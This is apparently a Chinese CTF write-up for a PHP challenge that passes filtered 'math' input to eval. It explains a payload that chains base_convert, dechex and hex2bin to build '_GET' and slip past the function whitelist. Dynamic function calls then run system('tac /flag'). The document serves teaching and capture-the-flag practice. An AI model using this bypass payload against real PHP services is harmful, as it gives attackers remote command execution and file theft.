题目源码
<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }
php中存在动态函数,例如
<?php function hello(){ echo "hello world"; } $function = 'hello'; $function(); ?> #hello world
payload
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag
base_convert(number, frombase, tobase) 进制转换函数 base_convert(37907361743,10,36) ==>"hex2bin",使用36进制是因为36进制可以包含所有字母,十六进制只有A,B,C,D,E,F hex2bin() 把十六进制值转换为 ASCII 字符 dechex(number) 十进制转十六进制 dechex(1598506324) ==>"5f474554" $pi = hex2bin("5f474554") ==>$pi="_GET" ($$pi){pi}(($$pi){abs}) ==>($_GET){pi}(($_GET){abs}) //{}可以代替[]
<?php #version:7.3.4 $pi = base_convert(37907361743, 10, 36)(dechex(1598506324)); echo $pi; ?> #_GET